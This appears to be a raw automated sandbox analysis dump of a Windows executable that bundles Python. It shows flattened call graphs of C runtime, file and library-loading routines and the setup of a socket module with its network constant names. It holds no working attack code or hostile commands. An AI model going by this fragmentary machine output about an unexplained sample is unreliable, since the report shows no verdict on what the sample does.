58619->58620 58621 7ffdff166c5f FlsSetValue 58619->58621 58620->58631 58621->58631 58622 7ffdff166c3c SetLastError 58624 7ffdff166c4d 58622->58624 58622->58631 58623 7ffdff161da0 memcpy_s 22 API calls 58623->58631 58624->58585 58625 7ffdff166c8a FlsSetValue 58657 7ffdff162070 22 API calls 2 library calls 58625->58657 58626 7ffdff166c9b FlsSetValue 58629 7ffdff1a2dab FlsSetValue 58626->58629 58626->58631 58631->58621 58631->58622 58631->58623 58631->58625 58631->58626 58658 7ffdff1655a4 22 API calls memcpy_s 58631->58658 58659 7ffdff162070 22 API calls 2 library calls 58631->58659 58660 7ffdff179470 FlsFree 58631->58660 58633->58587 58641 7ffdff19f69c 58634->58641 58637 7ffdff19ed0a 58637->58614 58639 7ffdff19eec4 8 API calls __vcrt_uninitialize_ptd 58637->58639 58639->58616 58640->58614 58647 7ffdff19f3d8 58641->58647 58644 7ffdff19f32c 58644->58637 58646 7ffdff19f36c DeleteCriticalSection 58644->58646 58645 7ffdff19f6f1 InitializeCriticalSectionAndSpinCount 58645->58644 58646->58637 58648 7ffdff19f4fd 58647->58648 58653 7ffdff19f41b __vcrt_uninitialize_ptd 58647->58653 58648->58644 58648->58645 58649 7ffdff19f448 LoadLibraryExW 58650 7ffdff19f469 GetLastError 58649->58650 58651 7ffdff19f4bf 58649->58651 58650->58653 58652 7ffdff19f4df GetProcAddress 58651->58652 58654 7ffdff19f4d6 FreeLibrary 58651->58654 58652->58648 58655 7ffdff19f4f0 58652->58655 58653->58648 58653->58649 58653->58652 58656 7ffdff19f48b LoadLibraryExW 58653->58656 58654->58652 58655->58648 58656->58651 58656->58653 58657->58631 58658->58631 58659->58631 58660->58631 58661->58596 58662->58595 58663->58595 58664->58602 58665 7ff6399c4938 58666 7ff6399c496f 58665->58666 58667 7ff6399c4952 58665->58667 58666->58667 58669 7ff6399c4982 CreateFileW 58666->58669 58716 7ff6399c43d4 11 API calls _get_daylight 58667->58716 58670 7ff6399c49b6 58669->58670 58671 7ff6399c49ec 58669->58671 58690 7ff6399c4a8c GetFileType 58670->58690 58719 7ff6399c4f14 46 API calls 3 library calls 58671->58719 58672 7ff6399c4957 58717 7ff6399c43f4 11 API calls _get_daylight 58672->58717 58677 7ff6399c49f1 58681 7ff6399c4a20 58677->58681 58682 7ff6399c49f5 58677->58682 58678 7ff6399c495f 58718 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58678->58718 58679 7ff6399c49e1 CloseHandle 58684 7ff6399c496a 58679->58684 58680 7ff6399c49cb CloseHandle 58680->58684 58721 7ff6399c4cd4 58681->58721 58720 7ff6399c4368 11 API calls 2 library calls 58682->58720 58689 7ff6399c49ff 58689->58684 58691 7ff6399c4b97 58690->58691 58692 7ff6399c4ada 58690->58692 58694 7ff6399c4bc1 58691->58694 58695 7ff6399c4b9f 58691->58695 58693 7ff6399c4b06 GetFileInformationByHandle 58692->58693 58739 7ff6399c4e10 21 API calls _fread_nolock 58692->58739 58697 7ff6399c4b2f 58693->58697 58698 7ff6399c4bb2 GetLastError 58693->58698 58700 7ff6399c4be4 PeekNamedPipe 58694->58700 58707 7ff6399c4b82 58694->58707 58695->58698 58699 7ff6399c4ba3 58695->58699 58702 7ff6399c4cd4 51 API calls 58697->58702 58742 7ff6399c4368 11 API calls 2 library calls 58698->58742 58741 7ff6399c43f4 11 API calls _get_daylight 58699->58741 58700->58707 58701 7ff6399c4af4 58701->58693 58701->58707 58706 7ff6399c4b3a 58702->58706 58705 7ff6399bb870 _log10_special 8 API calls 58708 7ff6399c49c4 58705->58708 58732 7ff6399c4c34 58706->58732 58707->58705 58708->58679 58708->58680 58711 7ff6399c4c34 10 API calls 58712 7ff6399c4b59 58711->58712 58713 7ff6399c4c34 10 API calls 58712->58713 58714 7ff6399c4b6a 58713->58714 58714->58707 58740 7ff6399c43f4 11 API calls _get_daylight 58714->58740 58716->58672 58717->58678 58718->58684 58719->58677 58720->58689 58723 7ff6399c4cfc 58721->58723 58722 7ff6399c4a2d 58731 7ff6399c4e10 21 API calls _fread_nolock 58722->58731 58723->58722 58743 7ff6399cea34 51 API calls 2 library calls 58723->58743 58725 7ff6399c4d90 58725->58722 58744 7ff6399cea34 51 API calls 2 library calls 58725->58744 58727 7ff6399c4da3 58727->58722 58745 7ff6399cea34 51 API calls 2 library calls 58727->58745 58729 7ff6399c4db6 58729->58722 58746 7ff6399cea34 51 API calls 2 library calls 58729->58746 58731->58689 58733 7ff6399c4c50 58732->58733 58734 7ff6399c4c5d FileTimeToSystemTime 58732->58734 58733->58734 58735 7ff6399c4c58 58733->58735 58734->58735 58736 7ff6399c4c71 SystemTimeToTzSpecificLocalTime 58734->58736 58737 7ff6399bb870 _log10_special 8 API calls 58735->58737 58736->58735 58738 7ff6399c4b49 58737->58738 58738->58711 58739->58701 58740->58707 58741->58707 58742->58707 58743->58725 58744->58727 58745->58729 58746->58722 58747 7ff6399cec9c 58748 7ff6399cee8e 58747->58748 58750 7ff6399cecde _isindst 58747->58750 58793 7ff6399c43f4 11 API calls _get_daylight 58748->58793 58750->58748 58753 7ff6399ced5e _isindst 58750->58753 58751 7ff6399bb870 _log10_special 8 API calls 58752 7ff6399ceea9 58751->58752 58768 7ff6399d54a4 58753->58768 58758 7ff6399ceeba 58759 7ff6399c9c10 _isindst 17 API calls 58758->58759 58761 7ff6399ceece 58759->58761 58765 7ff6399cedbb 58767 7ff6399cee7e 58765->58767 58792 7ff6399d54e8 37 API calls _isindst 58765->58792 58767->58751 58769 7ff6399d54b3 58768->58769 58770 7ff6399ced7c 58768->58770 58794 7ff6399cf5e8 EnterCriticalSection 58769->58794 58774 7ff6399d48a8 58770->58774 58772 7ff6399d54bb 58772->58770 58773 7ff6399d5314 55 API calls 58772->58773 58773->58770 58775 7ff6399d48b1 58774->58775 58776 7ff6399ced91 58774->58776 58795 7ff6399c43f4 11 API calls _get_daylight 58775->58795 58776->58758 58780 7ff6399d48d8 58776->58780 58778 7ff6399d48b6 58796 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58778->58796 58781 7ff6399d48e1 58780->58781 58785 7ff6399ceda2 58780->58785 58797 7ff6399c43f4 11 API calls _get_daylight 58781->58797 58783 7ff6399d48e6 58798 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58783->58798 58785->58758 58786 7ff6399d4908 58785->58786 58787 7ff6399d4911 58786->58787 58788 7ff6399cedb3 58786->58788 58799 7ff6399c43f4 11 API calls _get_daylight 58787->58799 58788->58758 58788->58765 58790 7ff6399d4916 58800 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58790->58800 58792->58767 58793->58767 58795->58778 58796->58776 58797->58783 58798->58785 58799->58790 58800->58788 58801 7ff6399bbf5c 58822 7ff6399bc12c 58801->58822 58804 7ff6399bc0a8 58941 7ff6399bc44c 7 API calls 2 library calls 58804->58941 58805 7ff6399bbf78 __scrt_acquire_startup_lock 58807 7ff6399bc0b2 58805->58807 58814 7ff6399bbf96 __scrt_release_startup_lock 58805->58814 58942 7ff6399bc44c 7 API calls 2 library calls 58807->58942 58809 7ff6399bc0bd __FrameHandler3::FrameUnwindToEmptyState 58810 7ff6399bbfbb 58811 7ff6399bc041 58828 7ff6399bc594 58811->58828 58813 7ff6399bc046 58831 7ff6399b1000 58813->58831 58814->58810 58814->58811 58938 7ff6399c8e44 45 API calls 58814->58938 58819 7ff6399bc069 58819->58809 58940 7ff6399bc2b0 7 API calls 58819->58940 58821 7ff6399bc080 58821->58810 58823 7ff6399bc134 58822->58823 58824 7ff6399bc140 __scrt_dllmain_crt_thread_attach 58823->58824 58825 7ff6399bc14d 58824->58825 58826 7ff6399bbf70 58824->58826 58825->58826 58943 7ff6399bcba8 7 API calls 2 library calls 58825->58943 58826->58804 58826->58805 58944 7ff6399d97e0 58828->58944 58832 7ff6399b1009 58831->58832 58946 7ff6399c4794 58832->58946 58834 7ff6399b352b 58953 7ff6399b33e0 58834->58953 58838 7ff6399bb870 _log10_special 8 API calls 58842 7ff6399b372a 58838->58842 58840 7ff6399b3736 58844 7ff6399b3f70 108 API calls 58840->58844 58841 7ff6399b356c 58843 7ff6399b1bf0 49 API calls 58841->58843 58939 7ff6399bc5d8 GetModuleHandleW 58842->58939 58861 7ff6399b3588 58843->58861 58845 7ff6399b3746 58844->58845 58846 7ff6399b3785 58845->58846 59039 7ff6399b76a0 58845->59039 59048 7ff6399b25f0 53 API calls _log10_special 58846->59048 58850 7ff6399b3778 58853 7ff6399b379f 58850->58853 58854 7ff6399b377d 58850->58854 58851 7ff6399b365f __vcrt_freefls 58857 7ff6399b3844 58851->58857 58859 7ff6399b7e10 14 API calls 58851->58859 58852 7ff6399b3538 58852->58838 58856 7ff6399b1bf0 49 API calls 58853->58856 58855 7ff6399bf36c 74 API calls 58854->58855 58855->58846 58858 7ff6399b37be 58856->58858 59052 7ff6399b3e90 49 API calls 58857->59052 58869 7ff6399b18f0 115 API calls 58858->58869 58862 7ff6399b36ae 58859->58862 59015 7ff6399b7e10 58861->59015 59037 7ff6399b7f80 40 API calls __vcrt_freefls 58862->59037 58863 7ff6399b3852 58864 7ff6399b3871 58863->58864 58865 7ff6399b3865 58863->58865 58868 7ff6399b1bf0 49 API calls 58864->58868 59053 7ff6399b3fe0 58865->59053 58884 7ff6399b3805 __vcrt_freefls 58868->58884 58872 7ff6399b37df 58869->58872 58870 7ff6399b36bd 58871 7ff6399b380f 58870->58871 58873 7ff6399b36cf 58870->58873 59050 7ff6399b8400 58 API calls _log10_special 58871->59050 58872->58861 58876 7ff6399b37ef 58872->58876 58877 7ff6399b1bf0 49 API calls 58873->58877 58875 7ff6399b86b0 2 API calls 58879 7ff6399b389e SetDllDirectoryW 58875->58879 59049 7ff6399b25f0 53 API calls _log10_special 58876->59049 58881 7ff6399b36f1 58877->58881 58878 7ff6399b3814 59051 7ff6399b7c40 84 API calls 2 library calls 58878->59051 58887 7ff6399b38c3 58879->58887 58881->58884 58885 7ff6399b36fc 58881->58885 58884->58875 59038 7ff6399b25f0 53 API calls _log10_special 58885->59038 58890 7ff6399b3a50 58887->58890 59056 7ff6399b6560 53 API calls 58887->59056 58889 7ff6399b3834 58889->58857 58889->58884 58892 7ff6399b3a7d 58890->58892 58893 7ff6399b3a5a PostMessageW GetMessageW 58890->58893 59028 7ff6399b3080 58892->59028 58893->58892 58894 7ff6399b38d5 59057 7ff6399b6b00 118 API calls 2 library calls 58894->59057 58896 7ff6399b38ea 58897 7ff6399b3947 58896->58897 58899 7ff6399b3901 58896->58899 59058 7ff6399b65a0 121 API calls _log10_special 58896->59058 58897->58890 58904 7ff6399b395c 58897->58904 58913 7ff6399b3905 58899->58913 59059 7ff6399b6970 91 API calls 58899->59059 59063 7ff6399b30e0 122 API calls 2 library calls 58904->59063 58905 7ff6399b3916 58905->58913 59060 7ff6399b6cd0 54 API calls 58905->59060 58906 7ff6399b3a97 59066 7ff6399b6780 FreeLibrary 58906->59066 58909 7ff6399b3aa3 58910 7ff6399b3964 58910->58852 58912 7ff6399b396c 58910->58912 59064 7ff6399b83e0 LocalFree 58912->59064 58913->58897 59061 7ff6399b2870 53 API calls _log10_special 58913->59061 58915 7ff6399b393f 59062 7ff6399b6780 FreeLibrary 58915->59062 58938->58811 58939->58819 58940->58821 58941->58807 58942->58809 58943->58826 58945 7ff6399bc5ab GetStartupInfoW 58944->58945 58945->58813 58948 7ff6399ce790 58946->58948 58947 7ff6399ce7e3 59067 7ff6399c9b24 37 API calls 2 library calls 58947->59067 58948->58947 58950 7ff6399ce836 58948->58950 59068 7ff6399ce668 71 API calls _fread_nolock 58950->59068 58952 7ff6399ce80c 58952->58834 59069 7ff6399bbb70 58953->59069 58956 7ff6399b3438 59071 7ff6399b85a0 FindFirstFileExW 58956->59071 58957 7ff6399b341b 59076 7ff6399b29e0 51 API calls _log10_special 58957->59076 58961 7ff6399b34a5 59079 7ff6399b8760 WideCharToMultiByte WideCharToMultiByte __vcrt_freefls 58961->59079 58962 7ff6399b344b 59077 7ff6399b8620 CreateFileW GetFinalPathNameByHandleW CloseHandle 58962->59077 58964 7ff6399bb870 _log10_special 8 API calls 58967 7ff6399b34dd 58964->58967 58966 7ff6399b3458 58969 7ff6399b345c 58966->58969 58973 7ff6399b3474 __vcrt_InitializeCriticalSectionEx 58966->58973 58967->58852 58975 7ff6399b18f0 58967->58975 58968 7ff6399b34b3 58974 7ff6399b342e 58968->58974 59080 7ff6399b26c0 49 API calls _log10_special 58968->59080 59078 7ff6399b26c0 49 API calls _log10_special 58969->59078 58972 7ff6399b346d 58972->58974 58973->58961 58974->58964 58976 7ff6399b3f70 108 API calls 58975->58976 58977 7ff6399b1925 58976->58977 58979 7ff6399b76a0 83 API calls 58977->58979 58985 7ff6399b1bb6 58977->58985 58978 7ff6399bb870 _log10_special 8 API calls 58980 7ff6399b1bd1 58978->58980 58981 7ff6399b196b 58979->58981 58980->58840 58980->58841 58983 7ff6399bf9f4 73 API calls 58981->58983 59014 7ff6399b199c 58981->59014 58982 7ff6399bf36c 74 API calls 58982->58985 58984 7ff6399b1985 58983->58984 58986 7ff6399b19a1 58984->58986 58987 7ff6399b1989 58984->58987 58985->58978 58989 7ff6399bf6bc _fread_nolock 53 API calls 58986->58989 59081 7ff6399b2760 53 API calls 2 library calls 58987->59081 58990 7ff6399b19b9 58989->58990 58991 7ff6399b19bf 58990->58991 58992 7ff6399b19d7 58990->58992 59082 7ff6399b2760 53 API calls 2 library calls 58991->59082 58994 7ff6399b19ee 58992->58994 58995 7ff6399b1a06 58992->58995 59083 7ff6399b2760 53 API calls 2 library calls 58994->59083 58996 7ff6399b1bf0 49 API calls 58995->58996 58998 7ff6399b1a1d 58996->58998 58999 7ff6399b1bf0 49 API calls 58998->58999 59000 7ff6399b1a68 58999->59000 59001 7ff6399bf9f4 73 API calls 59000->59001 59002 7ff6399b1a8c 59001->59002 59003 7ff6399b1aa1 59002->59003 59004 7ff6399b1ab9 59002->59004 59084 7ff6399b2760 53 API calls 2 library calls 59003->59084 59006 7ff6399bf6bc _fread_nolock 53 API calls 59004->59006 59007 7ff6399b1ace 59006->59007 59008 7ff6399b1ad4 59007->59008 59009 7ff6399b1aec 59007->59009 59085 7ff6399b2760 53 API calls 2 library calls 59008->59085 59086 7ff6399bf430 59009->59086 59014->58982 59016 7ff6399b7e1a 59015->59016 59017 7ff6399b86b0 2 API calls 59016->59017 59018 7ff6399b7e39 GetEnvironmentVariableW 59017->59018 59019 7ff6399b7ea2 59018->59019 59020 7ff6399b7e56 ExpandEnvironmentStringsW 59018->59020 59022 7ff6399bb870 _log10_special 8 API calls 59019->59022 59020->59019 59021 7ff6399b7e78 59020->59021 59095 7ff6399b8760 WideCharToMultiByte WideCharToMultiByte __vcrt_freefls 59021->59095 59024 7ff6399b7eb4 59022->59024 59024->58851 59025 7ff6399b7e8a 59026 7ff6399bb870 _log10_special 8 API calls 59025->59026 59027 7ff6399b7e9a 59026->59027 59027->58851 59096 7ff6399b5af0 59028->59096 59032 7ff6399b30a1 59036 7ff6399b30b9 59032->59036 59166 7ff6399b5800 59032->59166 59034 7ff6399b30ad 59034->59036 59175 7ff6399b5990 53 API calls 59034->59175 59065 7ff6399b33a0 FreeLibrary 59036->59065 59037->58870 59038->58852 59040 7ff6399b76c4 59039->59040 59041 7ff6399bf9f4 73 API calls 59040->59041 59046 7ff6399b779b __vcrt_freefls 59040->59046 59042 7ff6399b76e0 59041->59042 59042->59046 59238 7ff6399c6bd8 59042->59238 59044 7ff6399bf9f4 73 API calls 59047 7ff6399b76f5 59044->59047 59045 7ff6399bf6bc _fread_nolock 53 API calls 59045->59047 59046->58850 59047->59044 59047->59045 59047->59046 59048->58852 59049->58852 59050->58878 59051->58889 59052->58863 59054 7ff6399b1bf0 49 API calls 59053->59054 59055 7ff6399b4010 59054->59055 59055->58884 59056->58894 59057->58896 59058->58899 59059->58905 59060->58913 59061->58915 59062->58897 59063->58910 59065->58906 59066->58909 59067->58952 59068->58952 59070 7ff6399b33ec GetModuleFileNameW 59069->59070 59070->58956 59070->58957 59072 7ff6399b85f2 59071->59072 59073 7ff6399b85df FindClose 59071->59073 59074 7ff6399bb870 _log10_special 8 API calls 59072->59074 59073->59072 59075 7ff6399b3442 59074->59075 59075->58961 59075->58962 59076->58974 59077->58966 59078->58972 59079->58968 59080->58974 59081->59014 59082->59014 59083->59014 59084->59014 59085->59014 59087 7ff6399bf439 59086->59087 59088 7ff6399b1b06 59086->59088 59093 7ff6399c43f4 11 API calls _get_daylight 59087->59093 59088->59014 59092 7ff6399b25f0 53 API calls _log10_special 59088->59092 59090 7ff6399bf43e 59094 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 59090->59094 59092->59014 59093->59090 59094->59088 59095->59025 59097 7ff6399b5b05 59096->59097 59098 7ff6399b1bf0 49 API calls 59097->59098 59099 7ff6399b5b41 59098->59099 59100 7ff6399b5b6d 59099->59100 59101 7ff6399b5b4a 59099->59101 59103 7ff6399b3fe0 49 API calls 59100->59103 59186 7ff6399b25f0 53 API calls _log10_special 59101->59186 59104 7ff6399b5b85 59103->59104 59105 7ff6399b5ba3 59104->59105 59187 7ff6399b25f0 53 API calls _log10_special 59104->59187 59176 7ff6399b3f10 59105->59176 59106 7ff6399bb870 _log10_special 8 API calls 59109 7ff6399b308e 59106->59109 59109->59036 59127 7ff6399b5c80 59109->59127 59111 7ff6399b5bbb 59113 7ff6399b3fe0 49 API calls 59111->59113 59114 7ff6399b5bd4 59113->59114 59115 7ff6399b5bf9 59114->59115 59116 7ff6399b5bd9 59114->59116 59118 7ff6399b81a0 3 API calls 59115->59118 59188 7ff6399b25f0 53 API calls _log10_special 59116->59188 59119 7ff6399b5c06 59118->59119 59120 7ff6399b5c12 59119->59120 59121 7ff6399b5c49 59119->59121 59123 7ff6399b86b0 2 API calls 59120->59123 59190 7ff6399b50b0 95 API calls 59121->59190 59124 7ff6399b5c2a 59123->59124 59189 7ff6399b29e0 51 API calls _log10_special 59124->59189 59126 7ff6399b5b63 59126->59106 59191 7ff6399b4c80 59127->59191 59129 7ff6399b5cba 59130 7ff6399b5cc2 59129->59130 59131 7ff6399b5cd3 59129->59131 59223 7ff6399b25f0 53 API calls _log10_special 59130->59223 59198 7ff6399b4450 59131->59198 59135 7ff6399b5cf0 59139 7ff6399b5d10 59135->59139 59140 7ff6399b5cff 59135->59140 59136 7ff6399b5cdf 59224 7ff6399b25f0 53 API calls _log10_special 59136->59224 59138 7ff6399b5cce 59138->59032 59202 7ff6399b4700 59139->59202 59225 7ff6399b25f0 53 API calls _log10_special 59140->59225 59143 7ff6399b5d2b 59144 7ff6399b5d40 59143->59144 59145 7ff6399b5d2f 59143->59145 59147 7ff6399b5d60 59144->59147 59148 7ff6399b5d4f 59144->59148 59226 7ff6399b25f0 53 API calls _log10_special 59145->59226 59209 7ff6399b45a0 59147->59209 59227 7ff6399b25f0 53 API calls _log10_special 59148->59227 59152 7ff6399b5d80 59155 7ff6399b5da0 59152->59155 59156 7ff6399b5d8f 59152->59156 59153 7ff6399b5d6f 59228 7ff6399b25f0 53 API calls _log10_special 59153->59228 59158 7ff6399b5db1 59155->59158 59160 7ff6399b5dc2 59155->59160 59229 7ff6399b25f0 53 API calls _log10_special 59156->59229 59230 7ff6399b25f0 53 API calls _log10_special 59158->59230 59163 7ff6399b5dec 59160->59163 59231 7ff6399c65c0 73 API calls 59160->59231 59162 7ff6399b5dda 59232 7ff6399c65c0 73 API calls 59162->59232 59163->59138 59233 7ff6399b25f0 53 API calls _log10_special 59163->59233 59167 7ff6399b5820 59166->59167 59167->59167 59168 7ff6399b5849 59167->59168 59174 7ff6399b5860 __vcrt_freefls 59167->59174 59237 7ff6399b25f0 53 API calls _log10_special 59168->59237 59170 7ff6399b5855 59170->59034 59171 7ff6399b596b 59171->59034 59172 7ff6399b1440 116 API calls 59172->59174 59173 7ff6399b25f0 53 API calls 59173->59174 59174->59171 59174->59172 59174->59173 59175->59036 59177 7ff6399b3f1a 59176->59177 59178 7ff6399b86b0 2 API calls 59177->59178 59179 7ff6399b3f3f 59178->59179 59180 7ff6399bb870 _log10_special 8 API calls 59179->59180 59181 7ff6399b3f67 59180->59181 59181->59111 59182 7ff6399b81a0 59181->59182 59183 7ff6399b86b0 2 API calls 59182->59183 59184 7ff6399b81b4 LoadLibraryExW 59183->59184 59185 7ff6399b81d3 __vcrt_freefls 59184->59185 59185->59111 59186->59126 59187->59105 59188->59126 59189->59126 59190->59126 59193 7ff6399b4cac 59191->59193 59192 7ff6399b4cb4 59192->59129 59193->59192 59196 7ff6399b4e54 59193->59196 59234 7ff6399c5db4 48 API calls 59193->59234 59194 7ff6399b5017 __vcrt_freefls 59194->59129 59195 7ff6399b4180 47 API calls 59195->59196 59196->59194 59196->59195 59199 7ff6399b4480 59198->59199 59200 7ff6399bb870 _log10_special 8 API calls 59199->59200 59201 7ff6399b44ea 59200->59201 59201->59135 59201->59136 59203 7ff6399b476f 59202->59203 59206 7ff6399b471b 59202->59206 59236 7ff6399b4300 MultiByteToWideChar MultiByteToWideChar __vcrt_freefls 59203->59236 59205 7ff6399b477c 59205->59143 59208 7ff6399b475a 59206->59208 59235 7ff6399b4300 MultiByteToWideChar MultiByteToWideChar __vcrt_freefls 59206->59235 59208->59143 59210 7ff6399b45b5 59209->59210 59211 7ff6399b1bf0 49 API calls 59210->59211 59212 7ff6399b4601 59211->59212 59213 7ff6399b1bf0 49 API calls 59212->59213 59222 7ff6399b4687 __vcrt_freefls 59212->59222 59215 7ff6399b4640 59213->59215 59214 7ff6399bb870 _log10_special 8 API calls 59216 7ff6399b46dc 59214->59216 59217 7ff6399b86b0 2 API calls 59215->59217 59215->59222 59216->59152 59216->59153 59218 7ff6399b465a 59217->59218 59219 7ff6399b86b0 2 API calls 59218->59219 59220 7ff6399b4671 59219->59220 59221 7ff6399b86b0 2 API calls 59220->59221 59221->59222 59222->59214 59223->59138 59224->59138 59225->59138 59226->59138 59227->59138 59228->59138 59229->59138 59230->59138 59231->59162 59232->59163 59233->59138 59234->59193 59235->59208 59236->59205 59237->59170 59239 7ff6399c6c08 59238->59239 59242 7ff6399c66e4 59239->59242 59241 7ff6399c6c21 59241->59047 59243 7ff6399c66ff 59242->59243 59244 7ff6399c672e 59242->59244 59253 7ff6399c9b24 37 API calls 2 library calls 59243->59253 59252 7ff6399c477c EnterCriticalSection 59244->59252 59247 7ff6399c6733 59248 7ff6399c6750 38 API calls 59247->59248 59250 7ff6399c673f 59248->59250 59249 7ff6399c671f 59249->59241 59251 7ff6399c4788 _fread_nolock LeaveCriticalSection 59250->59251 59251->59249 59253->59249 59254 7ff6399bab3c 59255 7ff6399b9e3a 59254->59255 59257 7ff6399b9eb6 59255->59257 59258 7ff6399bb0b0 59255->59258 59259 7ff6399bb0f1 memcpy_s 59258->59259 59260 7ff6399bb0d3 59258->59260 59259->59257 59262 7ff6399cc90c 59260->59262 59263 7ff6399cc957 59262->59263 59267 7ff6399cc91b _get_daylight 59262->59267 59270 7ff6399c43f4 11 API calls _get_daylight 59263->59270 59264 7ff6399cc93e HeapAlloc 59266 7ff6399cc955 59264->59266 59264->59267 59266->59259 59267->59263 59267->59264 59269 7ff6399d28a0 EnterCriticalSection LeaveCriticalSection _get_daylight 59267->59269 59269->59267 59270->59266

                                                    Executed Functions

                                                    Function 00007FFE14631060 Relevance: 632.7, APIs: 189, Strings: 172, Instructions: 923networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 0 7ffe14631060-7ffe146310aa WSAStartup 1 7ffe146310b0-7ffe146310cb Py_AtExit 0->1 2 7ffe14633108-7ffe14633110 0->2 5 7ffe146310d1-7ffe14631153 call 7ffe14632f5c VerSetConditionMask * 3 VerifyVersionInfoW 1->5 6 7ffe14631159-7ffe1463117f PyModule_Create2 1->6 3 7ffe14633145 2->3 4 7ffe14633112-7ffe14633115 2->4 11 7ffe1463314c-7ffe1463315c PyErr_SetString 3->11 9 7ffe14633117-7ffe1463311a 4->9 10 7ffe1463313c-7ffe14633143 4->10 5->6 7 7ffe1463219e-7ffe146321a0 6->7 8 7ffe14631185-7ffe146311c9 PyModule_AddObject PyErr_NewException 6->8 14 7ffe1463216e-7ffe1463219d call 7ffe14632280 7->14 8->7 13 7ffe146311cf-7ffe14631209 PyModule_AddObject PyErr_NewException 8->13 9->3 15 7ffe1463311c-7ffe14633136 PyErr_Format 9->15 10->11 19 7ffe14633162-7ffe1463316b PyErr_NoMemory 11->19 13->7 18 7ffe1463120f-7ffe14631262 PyModule_AddObject PyModule_AddObjectRef PyModule_AddObject 13->18 15->10 18->7 21 7ffe14631268-7ffe14631284 PyModule_AddObject 18->21 19->7 22 7ffe14633171 19->22 21->7 23 7ffe1463128a-7ffe146312b5 PyModule_AddObject PyMem_Malloc 21->23 24 7ffe1463322a-7ffe14633234 _Py_Dealloc 22->24 23->19 25 7ffe146312bb-7ffe14631304 PyCapsule_New 23->25 24->7 26 7ffe14633176-7ffe14633181 call 7ffe14634b80 25->26 27 7ffe1463130a-7ffe1463131f PyModule_AddObject 25->27 26->7 35 7ffe14633187 26->35 28 7ffe14631325-7ffe14632034 PyModule_AddIntConstant * 11 PyModule_AddStringConstant * 2 PyModule_AddIntConstant * 137 27->28 29 7ffe1463318c-7ffe1463318f 27->29 34 7ffe14632037-7ffe14632042 PyLong_FromUnsignedLong 28->34 32 7ffe14633191-7ffe14633194 _Py_Dealloc 29->32 33 7ffe1463319a-7ffe1463319d 29->33 32->33 33->7 36 7ffe146331a3 33->36 34->7 37 7ffe14632048-7ffe14632064 PyModule_AddObject 34->37 35->24 36->24 37->34 38 7ffe14632066-7ffe146320c7 PyModule_AddIntConstant * 4 PyModule_GetDict 37->38 39 7ffe14633220-7ffe14633224 38->39 40 7ffe146320cd-7ffe14632147 VerSetConditionMask * 3 38->40 39->7 39->24 41 7ffe1463214a-7ffe14632165 VerifyVersionInfoA 40->41 42 7ffe146331a8-7ffe146331c6 PyUnicode_FromString 41->42 43 7ffe1463216b 41->43 42->39 44 7ffe146331c8-7ffe146331e3 _PyDict_Pop 42->44 43->14 45 7ffe146331ee-7ffe146331f1 44->45 46 7ffe146331e5-7ffe146331e8 _Py_Dealloc 44->46 45->39 47 7ffe146331f3-7ffe146331f8 45->47 46->45 48 7ffe14633203-7ffe14633215 47->48 49 7ffe146331fa-7ffe146331fd _Py_Dealloc 47->49 48->41 50 7ffe1463321b 48->50 49->48 50->39
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Module_$Constant$Object$ConditionMask$Err_$ExceptionInfoStringVerifyVersion$Capsule_Create2DictExitFormatFromLongLong_MallocMem_StartupUnsigned
                                                    • String ID: 00:00:00:00:00:00$00:00:00:FF:FF:FF$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_DROP_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_RECV